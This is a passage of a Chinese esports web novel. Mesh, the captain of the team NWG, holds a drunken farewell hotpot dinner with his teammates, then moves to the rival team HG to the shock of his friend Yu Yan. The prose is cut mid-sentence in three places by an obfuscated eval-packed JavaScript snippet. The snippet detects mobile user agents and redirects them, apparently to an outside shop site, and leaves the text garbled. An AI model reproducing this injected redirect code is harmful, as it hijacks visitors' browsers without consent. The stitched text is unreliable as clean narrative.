【z:今天应该不回,我爸妈和妹妹来T市了,应该会和他们一起住酒店,章鱼小丸子我给你点个外卖?】 【y:啊?你家里人来你怎么不和我说一声啊,你别买了,一会我自己溜达着出去吃吧。】 【z:怕我说了你有压力不知道该不该见,索性就没说,你有事随时给我打电话。】 【y:好嘞!】 于琰扭头又点开和廖望延的聊天框。 【y:吾儿晚可闲?父腹空空,望食章鱼小丸子。】 【杀人犯法:还想吃什么?】 【y:吾儿甚体贴,父还望食小面包小烧烤紫菜包饭炒年糕。】 【杀人犯法:给你买了要是你吃不完就把你杀了。】 【y:?放肆】 没再收到廖望延的消息,于琰心满意足地将手机放在胸口,就着傍晚的霞光浅寐,电脑上的贪吃蛇一直停留在开始新游戏的界面上。 另一头的廖望延挂断电话穿上外套就要出门,正巧遇见老梁从门口进来。 老梁看见廖望延就一个箭步冲上去,边虚掐着他的脖子边喊:“你这个负心汉!你欠我的拿什么还!” 廖望延翻着白眼配合他:“是我坏是我渣是我不要脸,求求你原谅我。” 老梁顿感没意思,放开双手瘫在沙发上说:“幸亏你说的早,再晚几天我就只能挑别人剩下的了。” “怎么说也呆了四年,不可能坑你们。”廖望延倚着墙回。 老梁看着他没骨头的样子没好气地说:“临走前怎么也得吃一顿散伙饭吧,不只是你,还有CC呢。” “行啊,那肯定得吃,毕竟咱庆功宴还没吃呢,干脆庆功宴和散伙饭合一块吃得了,还省钱。”廖望延突发奇想说。 “我早晚得给你这张嘴缝上!算了,我研究研究吧,你这要出门干嘛去?” “给于琰买章鱼小丸子。” “他没四肢不能自己买?!” “一看你就不养宠物,一只好宠物都是不吃除了主人以外其他人给的食物的。” “不是,那敢问于琰是什么品种的宠物啊?” “暂时没想好,他会随着我不同时候的不同思想变换种类。” “……算你厉害。” 和老梁扯了半天,廖望延才挥挥手停止话题,开着车买了于琰点的所有食物驶向HG基地。 4. Chapter4 两手提得满满的廖望延用手肘按响HG基地门铃。 按了三下才有人开门,来人揉着眼嘟囔:“谁啊?” 廖望延定睛一看,哟,这不是睡不醒么。 HG的辅助吴醒,游戏id:Nap,从真名到id都反映出了这个人的形象——睡不醒。 看他排位选什么英雄就能看出他的清醒程度,要是犯困打盹,他的英雄就会控制在风琴星娜露等软辅,睡饱清醒的状态下,他的英雄就偏向于双坦隆芮等硬辅。 当然,Nap70%的时间都在玩软辅。 曾经有披着水友皮的黑子在直播间不怀好意地问Nap,为什么困的时候喜欢玩软辅,是因为简单不需要动脑吗? Nap揉揉眼睛,当着直播间两万水友的面打出一个大大的哈欠,红着眼眶回:“少带节奏,我只是困的时候看小裙子才能提起点精神,你们看这个星妈炫彩,黑白女仆装不漂亮吗?我又不能当着你们的面刷美女摇,就别让我再看那帮大老粗硬辅了吧。” 结果当然是被不知道哪个队友从屏幕外伸过来的手捂住嘴停止这个话题。 “不好意思,我来找于琰。”廖望延对他回以一个微笑。 抬头看见来人是廖望延,Nap愣了两三秒才让开身位请他进来,在前面带路时和他说:“于琰打了一下午rank,正玩贪吃蛇放松的时候接了个电话就开始犯病,对着我们基地的吉祥物狂揍,揍累了就躺沙发上睡着了,一会你自己把他叫醒吧。” 廖望延憋着笑回:“行,麻烦你给我开门了。” Nap对着沙发指了指:“喏,那呢,你自己叫吧,我回去吃饭了。” 将买来的食物一样样打开包装袋摆在桌子上,廖望延半蹲在于琰身边,阴戳戳像叫魂一样开口:“你佐伊被FLY单杀五次了。” 于琰一个猛子坐起来,眼里还带着被惊醒的茫然,像个狐獴一样左右扫看:“放屁!是谁在造谣!老子的佐伊天下第一!” 廖望延轻笑一声,照着他脑袋给了个脑瓜嘣,直起身子叉着腰说:“都给你买来了,家猪可以进食了。” 于琰揉揉眼,看见满满一桌的东西来不及和廖望延打嘴仗,随手捞起一个离自己最近的食物开始暴风吸入。 “怎么不让你男朋友给你买?饿了就知道找爹?”廖望延手肘撑在沙发靠背,食指和中指撑着太阳穴,拇指托在下颌,翘着二郎腿偏头看他。 于琰被这句话呛到,四处扫视了一圈,发现整个厅里只有自己和廖望延才安下心。 “你别在我们基地说这种话!” “做贼心虚。”廖望延嘲讽道。 于琰边吃边和他解释:“他家里人来T市旅游了,陪家里人呢,我也不好总打扰他。” 廖望延挑眉:“那怎么了,给他发个消息让他给你点外卖不是也一样吗。” “没必要,本来他和家里的关系就不太融洽,我就不添乱了。”于琰无所谓地说。 廖望延抓住了话里的重点:“关系不融洽?怎么个不融洽法?” 于琰塞了一大口紫菜包饭,被噎得直锤胸,吞下去后又给自己灌了大半杯水才回:“还能怎么不融洽,就家里不同意走这一行呗。他父母就是普通职工,他还有个上学的妹妹,当初高中时候他说要出来打电竞差点被他爸一棍子抡进医院,后来他死乞白赖非要打,他爸就说如果要打那就当没他这个儿子,结果他还是进这个圈了。这两年旁敲侧击他妈和他妹妹缓和关系,算是有了点成效,这回他家里人过来估计也是他从中周旋了很久吧。” 廖望延听完几乎瞬间就想到了一个问题:“他家里人连打电竞都这么反对,你就没想过如果以后你和他相处久了,怎么和他父母坦白恋爱的事?” “你烦不烦?!真当你是我爹呢?生怕我吃得高兴是吧。”于琰朝他翻了个白眼。 廖望延识趣的没再往下问,意外惊喜已经收获了,没什么可问的了。 在HG又坐了一会,廖望延起身告别:“东西都给你送来了,你自己慢慢吃,吃不完就叫队友一起,我先回去了。” 于琰边低头吃饭边朝他摆手:“走吧我的好大儿,爸爸有了你这顿夜宵,晚上又能rank到凌晨四点了。” 廖望延上前揉了揉他的短发,没吱声离开了HG基地。 回到NWG后,发现老梁正在客厅坐着。 本来还在无所事事玩抛接手机游戏的老梁看见他回来才停下自己手上的动作,揶揄着说:“宠物吃饱了,主人功成身退了?” 廖望延边点头边越过他往卧室走。 老梁问:“没告诉于琰你要去HG了?” 停下脚步,廖望延转身向老梁露出个狡黠的笑:“现在说就没意思了。” 老梁啧啧两声,心道果然是个心比墨水黑的人,将话题转到正题:“对了,明天晚上出去吃火锅,别人我都通知完了。” “庆功宴和散伙饭二合一你就让我吃火锅?”廖望延不赞同。 “爱吃不吃不吃拉倒,老子是觉得吃火锅有氛围感,而且那个火锅很贵的,你懂个锤子。”老梁没好气地回。 “吃吃吃,再吃我老东家最后一顿饭,安安心心去新队伍咯。”廖望延关门前轻飘飘落下一句。 将老梁的国粹成功拒之门外。 - 转天晚上。 一行人浩浩荡荡冲进火锅店。 廖望延落后众人先去打了个电话,等进到包间,发现已然乱成一团。 他靠在门扉上看着众人因为小白菜要不要下到辣锅里而吵架,看着老梁和FLY因为选不出喝青岛还是雪花而大手一挥一样一箱,看着CC用筷子戳着虾滑思维飘向外太空,看着TAN和CHAO下路二人组偷偷摸摸把肉都调换到自己面前。 这样才对,大家都不要难过。 廖望延直起身子对着屋内的几人吹了个口哨:“想吃什么点什么,今晚全场都由老梁买单,吃饱了的去厕所抠嗓子眼吐完回来继续吃。” 众人高声欢呼,只有老梁心中暗藏功与名:其实是老板请客。 等他落座,还在说话的众人突然收了声音。 廖望延挑眉,捞起身边箱子里的啤酒一瓶瓶起开分给众人,自己打开一瓶也没往杯子里倒,提着瓶嘴笑着看向大家:“这不是咱们的第一顿饭,也不会是最后一顿。” 说完他仰头干了一整瓶,对大家摇摇空了的酒瓶后打了个嗝,不在意地用手背擦了擦嘴边溢出的酒液。看着大家没吱声也没动作,挑挑眉:“嘛呢?猴子表演还有人给扔钢镚呢,我炫了一瓶大家伙连抿一口都没有啊?” 老梁叹了口气,将酒送进嘴没说话。 FLY红着眼撇嘴,用手抠着啤酒瓶上的酒标。 下路二人组对视一眼,举起酒瓶隔空示意廖望延后仰头干了。 CC看着大家的样子,抿抿嘴站起身,手掌扣着瓶口清了清嗓:“我两年前从青训爬上来,那时候你们之间已经很有默契了。开始的时候我总会在训练以后大半夜躲在厨房里哭,为啥不在卧室呢,因为我怕FLY听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445215|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见,我嫌丢人,所以我都是和FLY说饿了去厨房找点吃的,那时候他还说我胃口真好。” “开始的时候我真不适应啊,我怕自己发挥不好,怕和你们磨合不来,怕网上的舆论说我不配在这个位置,然后我怕着怕着,就和你们一起拿了一个个胜场,一个个冠军。我也不怕和你们说实话,我现在挺缺钱的,我妈得了大病,之前我的薪水几乎都砸进医院了,PNG给我的待遇是所有战队里开价最高的,所以我签了。我就想和你们说,这两年的所有事不管大小都记在我脑子里,如果以后有机会,我还想和你们拿冠军。” CC哽咽着说完,往嘴里灌了一大口酒,被呛到咳嗽。 推开FLY想替他顺气的手,用袖子擦了擦眼睛,冲大家伙扬起一个大大的笑容:“跟你们在一块打游戏最高兴了。” FLY本来就要哭,听完CC的话更是控制不住自己,抽出两张纸盖在脸上仰着头说:“干嘛呀你,我说怎么当初你天天喊着饿,当时我还想着要不要往咱俩卧室买点小零嘴,省得你天天往厨房跑,闹了半天你偷偷躲起来哭鼻子啊。草,干嘛非搞得这么煽情啊,我对外形象都是流血流汗不流泪的。” 廖望延听着他的话看向已经烧开了的锅底,淡淡地回FLY:“总决赛前一晚你踢到桌子腿还哭了。” FLY一把拿下放在脸上的餐巾纸,红着眼睛瞪廖望延:“那是生理性眼泪!是控制不住的!你踢你也哭!” 其余几人都被逗笑,CC也坐回椅子里拿着筷子往锅里下菜,边夹边说:“行了,跟你们说完心里舒服多了,锅都烧开半天了,再不下东西一会烧干了,今天的目标咱们不是刚才说过了吗。” 廖望延问:“什么目标?” 众人冷笑一声,老梁大声数着:“3、2、1!” “啤酒白酒今天管够,把你灌到跪地哀求!”包厢内除了廖望延的五个人异口同声地说。 廖望延挑起剑眉:“就凭你们几个?” 这话一出,收获了五双眼里冒火的眼睛。 “1288一盘的嫩牛肉在谁那呢?给老子下辣锅里让我垫垫底!” “那个号称什么无公害有机绿色娃娃菜呢!不是好几百一份吗!给我下菌汤里!吃完我就加健康buff!我要喝死他!” “服务员!给我上十份小龙虾,蒜香和麻辣双拼!” “廖望延!开酒!今天要么我喝死你!要么你喝死我!” “服务员!拿两瓶白的!我今天就不信了,你还能1v5!” “……” 众人撸起袖子就是干,吃到最后几乎没人是清醒的。 老梁解开衬衣扣子,敞着怀搂着两个啤酒瓶仰头看天。 下路的CHAO和TAN搂在一起,CHAO摸摸TAN的脸,一脸忧愁地问:“德莱文如果带彗星能行吗?” TAN点点头回:“星妈确实可以出收集者。” FLY和CC脱了卫衣光着膀子斗舞,摇头晃脑用啤酒瓶当麦克风唱rap。 廖望延就倚着椅背看他们。 其实他也已经不太清醒了,但总归还是比他们好点,扶着椅子站起来后,廖望延一步三晃悠地去了前台结账。 回包间后打电话叫来代驾,把老梁的衬衫扣子系上,帮FLY和CC穿上衣服,分开如胶似漆的CHAO和TAN,一套下来他后背直冒汗。 等折腾了一个半小时总算把所有醉鬼都送回房间,廖望延用尽最后的力气冲了个澡,然后一头栽向床里陷入昏迷。 5. Chapter5 [头要炸了。] 廖望延清醒后这么判断着。 趴在床上半个小时他才勉强站起来揉着太阳穴洗漱,抬眼一看镜子直接被自己吓了一跳:“我靠。” 这究竟是怎么样的一副被掏空的脸。 蜡黄、粗糙、黑眼圈、鸡窝头、青色胡茬,让他不忍直视。 洗漱完他将狼尾用皮筋揪起来,套上运动服出门慢跑。 正跑到一半,裤兜里的手机响起来,他放慢速度接通电话。 “喂?” “没在…咳咳…基地?回来帮我捎份…咳…粥。”顺着手机听筒传来90岁耄耋老人般沙哑低沉的嗓音。 廖望延拿下放在耳边的手机,仔细确认了自己给对面人的电话备注确实是老梁,而不是爷爷。 重新将手机放回耳旁,仔细谨慎地问:“您好,请问您是梁哥的哪位长辈?” “你他妈…咳咳…的,老子就是你梁…咳咳…哥。”电话对面的老梁本来睡醒就头昏脑胀嗓子冒烟,听见廖望延的话更是气得咳嗽停不下来。 “快挂了吧,再听两句我都怕你顺着信号给我传染了。”廖望延皱着眉听他咳,觉得自己嗓子都痒痒,果断挂断电话转变跑步路线到常吃的饭馆给他们打包清粥小菜。 等廖望延拎着好几个打包袋跑回到基地,沙发上已经躺满了半死不活的人。 听见开关门和脚步声的渐近他们连身子都不动,只用眼珠子跟着廖望延,示意他赶快投喂。 廖望延将打包袋一份份拆开,盖子一个个打开,勺子也一个个塞到他们手里,叉着腰俯视他们:“没有赶尸铃在前面摇着你们起不来是吧?” 沙发上的五人还是半死不活没有动静,廖望延失去了为数不多的耐心。 “尸体不用吃饭,一会我拿铲子从门外树底下挖个坑给你们埋了,你们就能安息了,这粥我收起来给外面的黄家帮吃。” 黄家帮是NWG基地外总能看见的一群流浪狗,其首领是一只土黄色的田园犬,故名为黄家帮。 廖望延说完就低头扣盖子,几人看见他的动作终于伸出尔康手:“不!” FLY阴暗爬行到桌前,颤抖着用勺子往嘴里送了一口白粥,然后猛然瘫在地上,以五体投地的姿势僵住了四五秒后才开口:“原来我还活着。” “其实昨天你就死了,现在是在阴曹地府喝孟婆汤。”廖望延凉凉开口。 “凭什么你今天就能像个正常人一样,而我就要阴暗爬行!”FLY从瓷砖上抬起脑袋,眼睛里冒着愤怒的小火苗问。 廖望延蹲下身,食指点着他的眉心:“尔等凡人也想和神比?” “延哥,承认吧,于琰的玄幻小说你也没少看。”CC边喝粥边插话。 “怎么了CC,昨天晚上和FLY斗舞斗得尽兴吗?火锅店服务员的微信加上了吗?按理说你半裸娇躯应该能吸引到她的注意吧。” 廖望延损完CC又看向剩下的三人:“老梁,昨晚用啤酒瓶口嘬自己的胸还记得吗?TAN,一会solo,我看看你星妈出收集者能打多少伤害。CHAO跟TAN一块,让我看看德莱文带彗星好不好用。” “……” 沉默是今晚的康桥。 老梁的脸红了白白了红,仰天长啸:“你们惹他干嘛啊——” 廖望延终于看到了众人活力满满的样子,拍拍手站起身扭头离开,不带走一片云彩。 回到房间,廖望延冲了个澡着手开始收拾卧室里的东西。 虽然没和HG的经理定好什么时候过去,但在NWG呆了四年,想要一趟将东西都搬走还是一件难事。 大汗淋漓地将东西分类好,衣服和鞋装满了三个行李箱,其余的零碎物品也装了两个箱子。廖望延向外一看,天已经擦黑,将手洗净出门察看NWG做饭大哥今天又出了什么新菜色。 另一个基地里的于琰正和桌子上的晚饭大眼瞪小眼。 于琰面前是阿姨放上桌的猪肉茴香馅包子,他皱着眉拿筷子尖戳自己碗里的包子皮,刚才在不知道内馅的时候张嘴啃了一大口,他刷了两遍牙嘴里的茴香味还是挥之不去。 “啊~好怀念我妈在家给我做的茴香包子,自从去年过年之后我还没回过家呢。”邵乖边吃边说。 “我要把你和茴香一起扔出外太空。我不允许这个世界上有茴香和爱吃茴香的人存在!”于琰恶狠狠地看着邵乖。 邵乖白了他一眼,故意咬了一口包子冲着他吧唧嘴:“你不允许的多了。韭菜不行茴香不行香菜不行葱姜蒜也不行,哦对了,洋葱也不行,就没见过你这种挑食批!” “那咋了,我不吃这些照样183大高个,你个不到一米八的人还敢看不起我。”于琰朝邵乖露出个挑衅的表情。 也在桌上吃饭的Nap闻言顿了顿没说话。 “也就Mesh惯着你,跟养儿子一样养你。”邵乖又翻了个白眼。 “嘿嘿,儿子孝敬爸爸天经地义,不和你扯了,我回去换个衣服出门觅食。”于琰哼着歌拎着钥匙圈朝众人摆摆手。 等于琰的身影从众人面前消失,邵乖边啃包子边四处巡视:“欸对了,这几天怎么总看不见钟哥啊?” 左星水吃完最后一口放下筷子,将嘴里的食物咽下回他:“听于琰说是他爸妈还有妹妹一块来T市玩了,跟柱哥请了几天假。” “家里人来了?那为啥不带来基地啊?咱基地里也不是没有客房,顺便还能让他爸妈近距离观察一下儿子的生活状况。”邵乖不解。 Nap低头边吃饭边说:“快拉倒吧,不是所有人的家庭都跟你家一样支持你打电竞。钟哥家里一直都不赞同他干这行,最近一年才稍微松口的,要是真带来了就不是近距离观察而是近距离吵架了。” “这样啊,我都不知道钟哥家里的情况,他自己也没怎么说过。” “你脑子就核桃仁那么大,还能知道什么。”Nap嘲讽他。 邵乖撸起袖子:“嘿你个小矮人,还嘲讽上我了!” “你说谁小矮人!” “说你!” “你脑子解剖出来还不如猪脑花大!” “你一量身高169.5cm!” “放你妈的屁!老子身高171cm!” “别以为我不知道上次队里体检查身高你穿增高鞋垫了!” “狗屎!老子当时就是正常形态!” 于琰换完衣服一出来就看见自己队里的上单和辅助扯着脖子对骂,他茫然地看着置身事外看热闹的自家AD:“水哥,又咋了?这怎么又吵起来了。” 左星水转头微笑着看他:“没事,孩子吵吵闹闹是增进感情,回来给我带杯咖啡。” 于琰茫然地比了个ok的手势换上鞋出了门。 跟老大爷遛弯一样逛街的于琰看着路上要么两两成双要么成群结队的人顿感无趣,掏出手机给钟络打了个语音。 “怎么了小琰?” “没事啊,就是自己逛街太无聊了跟你聊两句,你陪家里人玩的怎么样?” “还好,带他们逛了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445216|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逛景点,你怎么突然一个人出门?” “阿姨做的饭我不想吃,正好坐在电脑前面一天了,就溜达溜达顺便买点吃的。” “小琰,你太挑食了。”手机对面的钟络无奈地看着于琰的微信头像说。 “也没有太吧,只有一点点,嘿嘿。” 钟络正想多劝于琰两句,却听见自己妹妹的声音由远及近:“哥,你干嘛呢?” 钟络瞬间扣下手机,状作自然地回:“没干什么,怎么了,有什么事?” 钟络的妹妹钟晴没发现他刚刚的动作,随意的解释:“就是想问问你楼下哪里有药店,妈有点感冒,我想去买点药。” 钟络抓起手机:“我去吧,药店不远,你回去陪爸妈吧。” 等关上酒店房门,钟络疏了一口气点开和于琰的聊天界面,这才发现语音在刚才被自己不小心挂断。 连忙给于琰回复了一条:刚刚家里人有事找我,不小心点到挂断了。 看着于琰回给自己没事,还发来了一张小狗表情包,钟络才暗灭手机往药店走。 另一头的于琰边等着给左星水买咖啡,边百无聊赖地看着天空。 突发奇想般的,他给廖望延打了个视频,等到于琰以为会自动挂断的时候,廖望延接了起来。 “刚才收拾东西没听见声音,我警告你,别说让我给你买吃的送到基地。”廖望延率先发难。 于琰举着手机环绕四周一圈,笑着说:“今天爸爸自己买,用不着你,你收拾什么呢?” 廖望延顿了顿,转移话题地回:“新鲜,我还以为你的两条腿早就退化了,居然还能直立行走到街上自己买东西?” “我警告你小子好好说话,不然一会我就打车去NWG,在你队友面前对你实施报复性殴打。”于琰手指着摄像头说。 “所以,你屁事儿没有只是单纯的来撩闲是吧?” “果然,知父莫若子,我正排队给水哥买咖啡呢,好无聊。” “你们AD大晚上喝什么咖啡,也不怕晚上睡不着觉?” “就是要喝咖啡保证精神啊,不然晚上rank困了就得喝基地里的速溶,水哥说已经买了咖啡机,但是还没送到。” “看你们基地那个穷样吧,买个咖啡机还要让选手自费。” “我警告你不要说我们基地坏话!我们基地有钱!而且原先也有咖啡机!只是坏了!” “有钱?那把我买过去吧,下个赛季带你所向披靡。”廖望延开始给自己铺垫。 于琰在屏幕里撇撇嘴,一脸的嫌弃:“我们基地估计是买不起你,你还是在NWG等着明年春季赛被我们暴打吧,不和你说了,排到我了。” 话音刚落,视频就被于琰挂断。 廖望延看着自己已经转为聊天界面的手机挑挑眉,好小子,既然如此就别怪他不打招呼了。 他点开与HG经理的对话框。 【Y:Peter哥,明天有空吗?】 【182清纯男大:有哒有哒!】 【182清纯男大:[让我看看怎么个事.jpg]】 【Y:那麻烦你明天上午来接我?】 【182清纯男大:这么迅速啊?我还以为你得多呆几天。】 【Y:嗯。】 【182清纯男大:好滴好滴,那你明天上午等我的电话。】 放下手机,廖望延看着已经整理好的五六个行李箱心想—— [小狗东西,你最好今天能睡个好觉,不然明天怕是睡不着了。] 6. Chapter6 HG经理放下手机“嘿嘿”笑了两声,正好被休息的邵乖听见,他一脸探究地看着自家经理:“什么意思啊国柱?虽然冬天了但你要到求那个啥偶的季节了?” 经理朝他扔去一包纸巾:“呸,狗嘴里吐不出象牙的东西,你懂什么。” “那你一个30多岁的大龄孤寡老人对着手机笑什么?” “嘿嘿,给你们一点小小的惊喜,明天队伍新打野就来了。”经理双手捧着手机虔诚地亲了一口屏幕。 “啥?!新打野?!”邵乖一嗓子招来了其他人的注意力。 HG经理看着几双闪着求知目光的眼睛仰起头整整衣领,手攥拳清了清嗓:“咳咳,是的你们没听错!我们明天上午即将迎来一位新队友!” “小国柱!我命令你立刻说出他的名字!”邵乖一个箭步冲到经理面前,勒着他的脖子威胁道。 “放开放开!再勒就喘不过气了!”经理脸都憋红了,用手掌“啪啪”拍着邵乖的胳膊。 “好了小乖,赶紧放开刘哥,你勒着他他更不说了。”左星水无奈上前用力扯开二人。 “好你个邵乖!一点也不知道尊老爱幼!”吸收到新鲜空气的经理左手顺着气右手给邵乖来了一记窝心拳。 “水哥你看他!我就知道不能放开他!就得趁他病要他命!你让开!” “刘哥,你要是再不说我也拦不住他了。”左星水一边虚挡着邵乖一边扭头无奈看向经理。 主要还是左星水自己也很想立刻知道,所以故意装作要拦不住邵乖的样子。 “就不说!我急死他!”HG经理迅捷地跑到楼梯口,向邵乖比了个中指说:“让你没大没小,今天晚上就让你猜得睡不着觉!反正明天上午人就来了,你们就等着吧,邵乖你个死孩子,一会我就和老姚告状说你今天打了两个小时斗地主!” 说完他就噔噔噔跑上楼没了影,独留几个队员在楼下围成一团。 “你们说,会是谁呢?”Nap摸着下巴思考道。 “不会是TOP的郑大眼吧,我听说他合同到期了,不知道还会不会和TOP续约。”邵乖边划拉手机边猜,看着微信联系人一个个对号入座。 左星水摇摇头:“应该不是,TOP今年成绩挺好的,应该会留郑凡。” “那…有没有可能是Mesh!他和NWG的合同今年不也到期了吗!”邵乖大胆猜想。 “比郑凡还不可能,Mesh肯定留在老东家啊。”Nap否定他。 “Mesh?廖望延咋了?”于琰拎着咖啡推开门,正好看见队友都围成一团不知道在嘟囔什么,耳朵只听见了廖望延的名字。 邵乖朝他招手:“于琰你快来!咱们一块探讨!” “不是,探讨什么啊?和阿延有什么关系啊?”于琰脑子一团浆糊。 “国柱说明天队伍要来一个新打野,我们正猜是谁呢。”邵乖小声哔哔。 “啥?!新打野?!”于琰说出了和刚刚邵乖一模一样的话。 “我刚才和水哥还有小矮子说,没准是郑大眼和Mesh,他们都不相信。” “郑凡我听阿延说已经和TOP续了,他的消息应该没问题。阿延就更不可能了,他当初打职业就是进的NWG,呆了四年好不容易成了队长,今年又拿了这么多冠军,NWG肯定用顶薪留他啊,干嘛要来咱们这个世界赛今年都没进去的队伍。”于琰也不认同邵乖的猜想。 邵乖摇晃着脑袋:“那不一定,这不还有你在这呢么。万一Mesh拿完冠军想着:嘿,我兄弟还没拿呢,带我兄弟也拿一个吧这种想法就来了呢。” “你以为冠军是大白菜啊,他廖望延说拿就拿,说给我拿就给我拿。你是看不起LPL这么多队伍还是看不起海对面的LCK啊。”于琰拎着咖啡扭头就回自己电脑前面。 和邵乖这种小脑缺失的人根本没法对话,于琰选择放弃。 “嘿我还就不信了,你敢不敢和我赌,万一明天来的是Mesh,你就给我洗一星期袜子!”邵乖扯着脖子和于琰喊。 “赌,我就没看见过这种稳赚不赔的赌盘,我赢了你给我买R家新出的耳机。”于琰背对着邵乖竖了个中指。 “水哥,小矮子,你俩赌不赌。”邵乖又扭头看身边的二人。 被提到的两个人均摇摇头。 Nap先开了口:“和你赌我嫌掉价。还有,你一分钟之内叫了我两次矮子,还敢再叫我就把你嘴撕了。” 接着是左星水,拿着于琰给他买的咖啡边走边说:“小乖,我觉得你赢面不大,就不占你便宜了。” 邵乖揉了揉鼻子:“这个世界上没有人懂我。” - 翌日早上9点半,廖望延早早的就起了床,将行李箱一个个推到客厅,正巧碰上推门进来的老梁。 “什么意思啊?我警告你,偷基地里的东西出去卖我可要报警的。”老梁摸向他其中一个箱子。 “你补脑片是不是又忘吃了,是HG的人一会来接我去基地。”廖望延关上自己的房间门对老梁晃了一下钥匙:“钥匙我就还你了,晚点可以让打扫阿姨进去清理一下。” 老梁傻了:“不是,你这是不是也太快了点?” “快点好,再晚几天FLY冲我流的眼泪都能聚成一个小型人工湖了。”廖望延揉了揉手。 “那你就这么走了啊?不和他们打个招呼?”老梁不太赞同。 廖望延摇摇头:“本来现在就是假期,让他们好好睡吧,对着他们我也说不出什么有缘再见的话。” 最后一个字刚说完,他的手机就响起来,按下免提键,HG经理的声音从扬声器中响起。 “Mesh,我到噜!”一个异常愉快的声音吵到了老梁脆弱的内心。 “好,我马上出来,稍等。”廖望延挂断电话朝老梁摆了摆手机,“既然听见了,那就送我一程吧。” 一脸乌云密布的老梁极不情愿地抓起行李箱把手:“你个没良心的说走就走,一会等他们睡醒了让我怎么解释。” 两个人推着六个行李箱出了基地,HG经理一路小跑过来和老梁握了握手:“梁哥早上好啊。” 老梁冷哼一声:“梁哥早上不好。不止早上不好,今天中午也不好下午也不好晚上也不好!” HG经理挠挠头,不好意思地笑了一下:“嘿嘿,梁哥别不高兴啊,以后Mesh来了我们HG,我肯定好吃好喝伺候着,每天洗完澡我都给他剪脚趾甲的那种。” 廖望延立刻打断:“不必了,我的脚趾头有它自己的想法。” 老梁叹了口气,跟着廖望延一起往SUV后座和后备箱里放行李箱。 等东西全都装上车关好车门后,HG经理看出老梁有话要和廖望延说,借口自己抽烟先一步上了车。 老梁沉默了几秒,拍拍廖望延的肩头:“虽然咱俩总是呛声,但四年的感情做不了假。你说得对,孩子在家呆久了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445217|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也会想出去看看,我这的家永远等你回来,我指的不是基地,而是我。” 廖望延这一刻心情也有些复杂。面对着FLY他们的时候,自己只能装作漫不经心不在乎,但归根结底,谁能面对即将离开呆了四年的队伍而无动于衷呢,只是不想大家更难过罢了。 他垂眼看着地上的树叶,金黄的叶子被昨夜的小雨浇得干净透亮,阳光从树丛射下来,映得它泛着细碎的光。它轻轻贴在柏油路上,忽然一阵小风卷起,将它吹得幽幽飘起,又缓缓落下。 廖望延抬起眼看着老梁,张口欲发声却发现嗓子有些发紧,不得不清了清嗓才开口:“下次再见就是我把FLY打哭的时候了。” 老梁本来挺伤感的,一听这话扑哧一声乐了出来。 廖望延又开口:“没有NWG就没有现在的Mesh,四年前的风把我吹向NWG,四年后的风只是把我又吹向了令一条路。” 老梁点点头没再说什么,将廖望延送上副驾驶看着车子慢慢驶出他的视线。 深深吸了一口气,他扭头往NWG基地走,再过一会就有几个小伙子需要他用言语抚慰受伤的心。 副驾的廖望延看着窗外没说话,身旁HG经理递来一根烟。 他低头将烟点燃,落下车窗,右手搭着窗框,听HG经理边说着给他的准备边将他带往HG。 下车推着行李箱往基地里走的时候廖望延觉得这感觉还挺奇妙。 以往都是自己轻装上阵开着车来这等人,突然一下子变成了推着行李箱往基地里进,也不知道一会于琰会是什么反应。 大约会是瞪着眼张着嘴,食指指着自己变成小结巴,话都说不清。 廖望延心里设想着小声乐出来,被身边的经理听见问他:“这么高兴?” 他回:“没,就是猜了一下一会他们的反应,觉得有点好笑。” HG的经理哈哈大笑推开门:“那就别想了,直接看看真实的反应吧。” 双手推着行李箱进门,离廖望延五步远的地方已经站了六个人,看见进来的是他,脸上的表情都很奇妙。 首当其冲的是邵乖,推搡着身边的于琰指着廖望延:“我说什么来着!让你看不起我!老子的袜子终于不用自己洗了哈哈哈哈哈!” Nap则是和左星水同频看了看对方,眼中的惊讶无以言表。 钟络站在最边上,本来还在低头用手机打着字,听见开门声抬起头,发现是廖望延时愣了一下,随即反应过来又低下头,只是表情从平静变成了微微蹙眉。 整个屋子里最震惊的就是于琰,看见廖望延进门后叼着泡面叉子的嘴无意识松开,叉子掉到地上都忘了拣。 于琰内心闪过一万条弹幕—— [现在是上午十点吗?好像不是,应该是凌晨五点,因为我还在做梦。] [我泡面叉子是不是掉地上了?算了管不了了。] [所以站在我面前的真是老狗比廖望延?啊???] [幻视这个毛病我得去挂眼科还是精神科?] [我靠掐了自己一下好疼,好像是真的。] [我靠是真的啊!!!!!!!!!!!!] [邵乖的袜子真的很臭。] [赌博害人。] 于琰嘴唇颤抖眼神飘忽,看着廖望延说不出话。 廖望延站在六个神情各异的人面前,挑了挑眉,偏头微笑:“HG.Mesh,以后请多关照。” 7. Chapter7 